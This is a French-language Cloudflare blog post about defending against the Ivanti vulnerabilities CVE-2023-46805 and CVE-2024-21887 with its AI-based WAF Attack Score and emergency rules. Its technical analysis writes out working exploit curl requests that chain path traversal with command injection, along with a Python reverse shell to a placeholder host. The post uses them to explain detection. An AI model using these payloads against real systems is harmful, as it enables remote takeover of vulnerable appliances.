La plupart des fournisseurs de pare-feu WAF s'appuient sur des méthodes réactives, réagissant aux vulnérabilités après leur découverte et leur exploitation. À cette fin, toutefois, nous préférons aborder proactivement les risques potentiels et utiliser l'IA. Aujourd'hui, nous présentons un exemple récent de vulnérabilité critique (CVE-2023-46805 et CVE-2024-21887) et expliquons de quelle manière l'indice WAF Attack Score amélioré par IA de Cloudflare et l'activation de règles d'urgence dans le pare-feu WAF ont permis de contrer cette menace.
La menace : CVE-2023-46805 et CVE-2024-21887
Une vulnérabilité par contournement d'authentification (CVE-2023-46805) et une vulnérabilité par injection de commande (CVE-2024-21887) affectant des produits Ivanti ont été récemment divulguées et analysées par AttackerKB. Cette vulnérabilité présente des risques importants, susceptibles de conduire à un accès et une prise de contrôle non autorisés sur les systèmes affectés. Dans la section suivante, nous allons examiner comment cette vulnérabilité peut être exploitée.
Analyse technique
Comme l'a indiqué AttackerKB, l'acteur malveillant peut transmettre une requête spécialement créée au système cible à l'aide d'une commande comme celle-ci :
Cette commande cible un point de terminaison (/license/keys-status/), généralement protégé par authentification. Cependant, l'acteur malveillant peut contourner l'authentification en manipulant l'URL afin d'inclure /API/v1/TOTP/user-backup-code/../../license/keys-status/. Cette technique est appelée « directory traversal » (traversée de répertoire).
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
Le décodage de la partie de la commande codée en URL produit un reverse shell (shell inversé) Python, qui se présente comme ceci :
Le reverse shell Python offre à l'acteur malveillant un moyen de prendre le contrôle du système cible.
;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
La vulnérabilité réside dans la manière dont le système traite le paramètre node_name. Si un acteur malveillant peut contrôler la valeur de node_name, il peut injecter des commandes dans le système.
Plus d'informations sur le paramètre node_name : le paramètre node_name est un composant du point de terminaison /API/v1/license/keys-status/path:node_name. C'est sur ce point de terminaison que le problème survient principalement.
L'acteur malveillant peut transmettre une requête GET au chemin URI /API/v1/TOTP/user-backup-code/../../license/keys-status/;CMD;, où CMD représente toute commande qu'il souhaite exécuter. L'utilisation d'un point-virgule lui permet de spécifier cette commande dans la requête. Pour que la commande soit correctement traitée par le système, elle doit être codée en URL.
Une autre vulnérabilité par injection de code a été identifiée, comme le détaille l'article de blog d'AttackerKB. Cette fois, il s'agit d'une injection de commande authentifiée, identifiée dans une autre partie du système.
Le même contenu malveillant, décodé sous forme de reverse shell Python, utilisé dans la première injection de commande peut être employé ici ; il forme alors une structure JSON permettant de déclencher la vulnérabilité. Puisque le contenu malveillant est en langage JSON, il n'est pas nécessaire de le coder en URL :
Bien que le point de terminaison /api/v1/system/maintenance/archiving/cloud-server-test-connection nécessite une authentification, un acteur malveillant peut contourner cette exigence en la chaînant avec la vulnérabilité directory traversal mentionnée plus haut. Il peut créer un chemin URI non authentifié /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection pour atteindre ce point de terminaison et exploiter la vulnérabilité.
{
"type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
"txtGCPProject": "a",
"txtGCPSecret": "a",
"txtGCPPath": "a",
"txtGCPBucket": "a"
}
Pour exécuter une commande non authentifiée du système d'exploitation, un acteur malveillant utiliserait une requête curl comme celle-ci :
La défense proactive de Cloudflare
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'
Le pare-feu WAF de Cloudflare repose sur une couche améliorée par IA supplémentaire, appelée WAF Attack Score, conçue dans le but d'intercepter les contournements liés à des attaques avant même qu'ils ne soient annoncés. WAF Attack Score fournit un score indiquant si la requête est malveillante ou non en se concentrant, jusqu'à présent, sur trois catégories d'attaque principales : XSS, SQLi et certaines variantes RCE (Command Injection, ApacheLog4J, etc.). Le score va de 1 à 99, et plus il est bas, plus la requête est malveillante. D'une manière générale, toute requête dont le score est inférieur à 20 est considérée comme malveillante.
Examinons maintenant les résultats de l'exemple d'exploitation de vulnérabilité ci-dessus, pour CVE-2023-46805 et CVE-2024-21887, dans le tableau de bord de Cloudflare (Security > Events). Les résultats de l'analyse WAF Attack Score sont constitués de trois scores individuels, chacun étant identifié afin d'indiquer sa pertinence par rapport à une catégorie d'attaque spécifique. Par ailleurs, un score global, « WAF Attack Score », prend en compte l'impact combiné de ces trois scores. Dans certains cas, le score global est affecté par l'un des sous-scores si l'attaque correspond à une catégorie. Ici, nous pouvons voir que le sous-score dominant est l'exécution de code à distance (« WAF RCE Attack Score) ».
De même, pour la requête de commande de système d'exploitation non authentifiée, le modèle d'IA a renvoyé l'indication « WAF Attack Score: 19 », qui correspond également à la catégorie des requêtes malveillantes. Il convient d'indiquer que les scores cités en exemple ne sont pas des nombres fixes, et qu'ils peuvent varier en fonction de la variante de l'attaque détectée.
La bonne nouvelle est que les clients des offres Enterprise et Business qui ont activé WAF Attack Score, ainsi qu'une règle de blocage des scores faibles (par exemple, [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20
) ou ([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq
"attack
") pour l'offre Business, étaient déjà protégés contre les exploitations de vulnérabilité potentielles qui ont été testées jusqu'à présent, et ce, avant même que la vulnérabilité ne soit annoncée.
Déploiement d'une règle d'urgence
En réponse à cette vulnérabilité critique, Cloudflare a publié des règles d'urgence le 17 janvier 2024, moins de 24 heures après que la démonstration de faisabilité ait été rendue publique. Ces règles font partie des règles gérées du pare-feu WAF, et ciblent spécifiquement la menace posée par CVE-2023-46805 et une autre vulnérabilité, CVE-2024-21887, également liée aux produits Ivanti. Les règles, nommées « Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 », sont développées pour bloquer les tentatives d'exploitation de ces vulnérabilités, fournissant une couche supplémentaire de sécurité pour les utilisateurs de Cloudflare.
Depuis le déploiement de ces règles, nous avons enregistré un niveau d'activité élevé. À l'heure où nous écrivons ces lignes, plus de 180 000 déclenchements de la règle ont été observés.
.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}
Rule ID | Description | Default Action |
---|---|---|
New Managed Rule…34ab53c5 | Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
Legacy Managed Rule 100622 |
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
ID de règle
Description
Action par défaut
New Managed Rule…34ab53c5
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887
Bloquer
Legacy Managed Rule100622
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887
Bloquer
Implications et meilleures pratiques
La réponse de Cloudflare à CVE-2023-46805 et CVE-2024-21887 souligne l'importance de la mise en œuvre de mesures de sécurité robustes. Les entreprises qui utilisent les services de Cloudflare, en particulier le pare-feu WAF, sont invitées à s'assurer que leurs systèmes ont été mis à jour avec les dernières règles et configurations, afin de maintenir une protection optimale. Nous recommandons également aux clients de déployer des règles avec WAF Attack Score, afin de renforcer leur sécurité. Si vous souhaitez en savoir plus sur WAF Attack Score, contactez l'équipe responsable de votre compte.
Conclusion
Cloudflare emploie une approche proactive en matière de cybersécurité, en utilisant l'IA pour identifier et stopper les attaques, comme l'illustre sa réponse à CVE-2023-46805 et CVE-2024-21887. Cette approche montre comment des menaces et des attaques peuvent être identifiées avant même qu'elles ne soient rendues publiques et que des vulnérabilités ne soient divulguées. En surveillant continuellement les vulnérabilités et en réagissant rapidement à celles-ci, Cloudflare veille à préserver la sécurité de ses clients dans un panorama numérique toujours plus complexe.